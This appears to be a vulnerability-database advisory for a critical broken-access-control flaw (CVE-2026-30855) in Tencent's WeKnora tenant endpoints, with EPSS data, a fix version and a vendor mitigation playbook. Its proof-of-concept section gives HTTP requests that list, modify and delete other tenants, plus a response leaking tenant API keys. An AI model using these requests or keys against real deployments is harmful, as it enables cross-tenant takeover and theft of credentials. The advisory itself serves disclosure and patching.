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GHSA-ccj6-79j6-cq5q

CRITICAL

WeKnora Vulnerable to Broken Access Control in Tenant Management

Also known asCVE-2026-30855GO-2026-4642
Published
Mar 6, 2026
Updated
Mar 23, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk24th percentile+0.16%
0.00%0.28%0.55%0.83%0.1%0.1%0.2%0.3%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/Tencent/WeKnora

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical.

Details

The tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directly call the service layer with that ID, returning or mutating the tenant without authorization checks.

Affected handlers:

  • GET /api/v1/tenants lists all tenants without ownership checks
  • GET /api/v1/tenants/{id} reads any tenant by ID without ownership checks
  • PUT /api/v1/tenants/{id} allows updating any tenant by ID without ownership checks
  • DELETE /api/v1/tenants/{id} allows deleting any tenant by ID without ownership checks

These endpoints do not enforce cross-tenant permissions or deny-by-default behavior, unlike ListAllTenants and SearchTenants.

PoC

  1. Register a new account as a user in Tenant 10025 and obtain a bearer token or API key.

  2. Read details of other tenants:

  • Request that uses API key via the X-API-Key header:

    GET /api/v1/tenants HTTP/1.1
    Host: localhost
    Connection: keep-alive
    X-Request-ID: 2TpH2S0sHyi1
    X-API-Key: sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd
    sec-ch-ua-platform: "macOS"
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
    Accept: application/json, text/plain, */*
    sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"
    sec-ch-ua-mobile: ?0
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://weknora.serviceme.top/platform/knowledge-bases
    Accept-Encoding: gzip, deflate, br, zstd
    Accept-Language: en-US,en;q=0.9
    
    
    
  • Response (truncated for brevity):

    HTTP/1.1 200 OK
    Server: nginx/1.28.0
    Date: Fri, 06 Feb 2026 03:12:22 GMT
    Content-Type: application/json; charset=utf-8
    Connection: close
    X-Request-Id: 2TpH2S0sHyi1
    X-Frame-Options: SAMEORIGIN
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 1; mode=block
    Referrer-Policy: strict-origin-when-cross-origin
    
    {
        "data": {
            "items": [
                {
                    "id": 10025,
                    "name": "injokerr's Workspace",
                    "api_key": "sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd",
                    "status": "active"
                },
                {
                    "id": 10001,
                    "name": "viaim_yuweilong",
                    "api_key": "sk-hocFTPZIYW9ixuUNbFidgSQ5eciSVcJkzE8Ns3BI6Ev-8cFe",
                    "status": "active"
                }
            ]
        },
        "success": true
    }
    ...
    

With API keys, we can do anything on the victim account's behalf, including reading sensitive data (LLM API keys, knowledge bases), modifying configurations, etc.

Requests to perform modification and deletion of another tenant.

  1. Modify the victim tenant:
  • Request:

    • Method: PUT
    • URL: http://localhost:8088/api/v1/tenants/10001
    • Header: Authorization: Bearer <ATTACKER_TOKEN>
    • Body: { "name": "HACKED by tenant 10025" }
  • Expected response:

    • 200 OK with the updated tenant object.
  1. Delete the victim tenant:
  • Request:

    • Method: DELETE
    • URL: http://localhost:8088/api/v1/tenants/10001
    • Header: Authorization: Bearer <ATTACKER_TOKEN>
  • Expected response:

    • 200 OK and the tenant is deleted.

Impact

This is a Broken Access Control (BOLA/IDOR) vulnerability in tenant management of WeKnora. Any user can access, modify, or delete tenants belonging to other customers, resulting in cross-tenant data exposure, account takeover, and destructive actions against other tenants. Moreover, when the account is taken over, attacker can read configured models to unauthorizedly extract sensitive data such as API keys of LLM services.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/Tencent/WeKnoraall versions0.3.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/Tencent/WeKnora. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/Tencent/WeKnora to 0.3.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-ccj6-79j6-cq5q is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-ccj6-79j6-cq5q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-ccj6-79j6-cq5q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical. ### Details The tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directl
O3 Security · Impact-Aware SCA

Is GHSA-ccj6-79j6-cq5q in your dependencies?

O3 detects GHSA-ccj6-79j6-cq5q across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.